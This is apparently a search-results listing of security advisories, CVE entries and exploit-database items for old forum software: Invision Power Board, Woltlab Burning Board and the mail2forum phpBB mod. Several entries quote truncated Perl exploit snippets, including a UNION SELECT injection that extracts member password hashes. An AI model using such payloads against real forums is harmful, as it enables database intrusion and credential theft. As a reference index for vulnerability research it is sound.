6303 matches found
[MajorSecurity #26] Woltlab Burning Board - Multiple Cookie manipulation and session fixation vulnerabilities
MajorSecurity 26 Woltlab Burning Board - Multiple Cookie manipulation and session fixation vulnerabilities ---------------------------------------------------------------------------------------- Software: Woltlab Burning board Impact: Cookie manipulation and Session Fixation Made public: July,...
Invision Power Board 2.1 <= 2.1.6 sql injection
RST/GHC advisory41 Product: Invision Power Board Version: 2.1 = 2.1.6 Vendor: INVISION Power Service URL: http://www.invisionpower.com VULNERABILITY CLASS: SQL injection Product Description Invision Power Board, an award-winning scaleable bulletin board system, written in PHP, uses SQL database...
Invision Power Board classes/class_session.php CLIENT_IP HTTP Header SQL Injection
According to its banner, the installation of Invision Power Board on the remote host reportedly fails to sanitize input to the 'CLIENTIP' HTTP request header before using it in database queries. An unauthenticated attacker may be able to leverage this issue to disclose sensitive information, modi...
r57ipb216gui.txt
!/usr/bin/perl Invision Power Board v2.1 "r57ipb216gui" ; $mw-geometry '420x550' ; $mw-resizable0,0; $mw-Label-text = '!', -font = 'Webdings 22'-pack; $mw-Label-text = 'Invision Power Board 2.1. 'Verdana 7 bold',-foreground='red'-pack; $mw-Label-text = ''-pack; $fleft=$mw-Frame-pack -side = 'left...
Invision Power Board 2.1 < 2.1.6 - SQL Injection (2)
!/usr/bin/perl use LWP::UserAgent; $ua = LWP::UserAgent-new; &header; if @ARGV ".$server."result.txt"; for$id = 1; $id = $kol; $id++ $ownquery = "UNION SELECT convergepasshash,1,1,1 FROM ".$prefix."membersconverge WHERE convergeid=".$id."/"; query$ownquery,$server,$dir; if$rep=/0-9a-f32/i $hash =...
Invision Power Board 2.1 <= 2.1.6 Remote SQL Injection Exploit (2)
No description provided by source. !/usr/bin/perl use LWP::UserAgent; $ua = LWP::UserAgent-new; &header; if @ARGV 2 &info; exit; $server = $ARGV0; $dir = $ARGV1; print "+ SERVER $server\r\n"; print "+ DIR $dir\r\n"; Step 1, detecting vulnerability print "1 Testing forum vulnerability..."; $q =...
Invision Power Board 2.1 2.1.6 - SQL Injection (2)
Invision Power Board 2.1 2.1.6 - SQL Injection 2 !/usr/bin/perl use LWP::UserAgent; $ua = LWP::UserAgent-new; &header; if @ARGV ".$server."result.txt"; for$id = 1; $id = $kol; $id++ $ownquery = "UNION SELECT convergepasshash,1,1,1 FROM ".$prefix."membersconverge WHERE convergeid=".$id."/";...
Invision Power Board 2.1 <= 2.1.6 Remote SQL Injection Exploit (2)
Exploit for unknown platform in category web applications ================================================================== Invision Power Board 2.1 new; &header; if @ARGV ".$server."result.txt"; for$id = 1; $id = $kol; $id++ $ownquery = "UNION SELECT convergepasshash,1,1,1 FROM...
mail2forum phpBB Mod <= 1.2 (m2f_root_path) Remote Include Vulns
No description provided by source. Title : mail2forum = 1.2 Multiple Remote File Include Vulnerabilities Discovered By OLiBekaS ----------------------------------------------------------------------------- Affected software description : Application : mail for phpbb bulletin board/forum software...
mail2forum phpBB Mod 1.2 - 'm2f_root_path' Remote File Inclusion
Title : mail2forum = 1.2 Multiple Remote File Include Vulnerabilities Discovered By OLiBekaS ----------------------------------------------------------------------------- Affected software description : Application : mail for phpbb bulletin board/forum software version : latest version 1.2 URL :...
mail2forum phpBB Mod <= 1.2 (m2f_root_path) Remote Include Vulns
Exploit for unknown platform in category web applications ================================================================ mail2forum phpBB Mod = 1.2 m2frootpath Remote Include Vulns ================================================================ Title : mail2forum = 1.2 Multiple Remote File...
Invision Power Board 2.1 < 2.1.6 - SQL Injection (1)
!/usr/bin/perl Invision Power Board v2.1 "r57ipb216gui" ; $mw-geometry '420x550' ; $mw-resizable0,0; $mw-Label-text = '!', -font = 'Webdings 22'-pack; $mw-Label-text = 'Invision Power Board 2.1. 'Verdana 7 bold',-foreground='red'-pack; $mw-Label-text = ''-pack; $fleft=$mw-Frame-pack -side = 'left...
Invision Power Board 2.1 2.1.6 - SQL Injection (1)
Invision Power Board 2.1 2.1.6 - SQL Injection 1 !/usr/bin/perl Invision Power Board v2.1 "r57ipb216gui" ; $mw-geometry '420x550' ; $mw-resizable0,0; $mw-Label-text = '!', -font = 'Webdings 22'-pack; $mw-Label-text = 'Invision Power Board 2.1. 'Verdana 7 bold',-foreground='red'-pack; $mw-Label-te...
Invision Power Board 2.1 <= 2.1.6 Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl Invision Power Board v2.1 = 2.1.6 sql injection exploit by RST/GHC Based on LOCALIP bug, more info in RST/GHC Advisory41 http://rst.void.ru/papers/advisory41.txt tested on 2.1.3, 2.1.6 08.06.06 coded by 1dt.w0lf RST/GHC http://rst.void.ru...
Invision Power Board 2.1 <= 2.1.6 Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ============================================================== Invision Power Board 2.1 "r57ipb216gui" ; $mw-geometry '420x550' ; $mw-resizable0,0; $mw-Label-text = '!', -font = 'Webdings 22'-pack; $mw-Label-text = 'Invision Power Board 2....
CVE-2006-3543
Multiple SQL injection vulnerabilities in Invision Power Board IPB 1.x and 2.x allow remote attackers to execute arbitrary SQL commands via the 1 idcat and 2 code parameters in a ketqua action in index.php; the id parameter in a 3 Attach and 4 ref action in index.php; the CODE parameter in a 5...
CVE-2006-3544
Multiple SQL injection vulnerabilities in Invision Power Board IPB 1.3 Final allow remote attackers to execute arbitrary SQL commands via the CODE parameter in a 1 Stats, 2 Mail, and 3 Reg action in index.php. NOTE: the developer has disputed this issue, stating that "At no point does the CODE...
CVE-2006-3543: Undefined Security Weakness
Multiple SQL injection vulnerabilities in Invision Power Board IPB 1.x and 2.x allow remote attackers to execute arbitrary SQL commands via the 1 idcat and 2 code parameters in a ketqua action in index.php; the id parameter in a 3 Attach and 4 ref action in index.php; the CODE parameter in a 5...
CVE-2006-3543
Multiple SQL injection vulnerabilities in Invision Power Board IPB 1.x and 2.x allow remote attackers to execute arbitrary SQL commands via the 1 idcat and 2 code parameters in a ketqua action in index.php; the id parameter in a 3 Attach and 4 ref action in index.php; the CODE parameter in a 5...
CVE-2006-3544
Invision Power Board 1.3 Final is affected by multiple SQL injection vulnerabilities via the CODE parameter in index.php actions (Stats, Mail, Reg). The underlying issue is described as CODE being used in a SWITCH to select a function, with attackers potentially modifying CODE to execute SQL comm...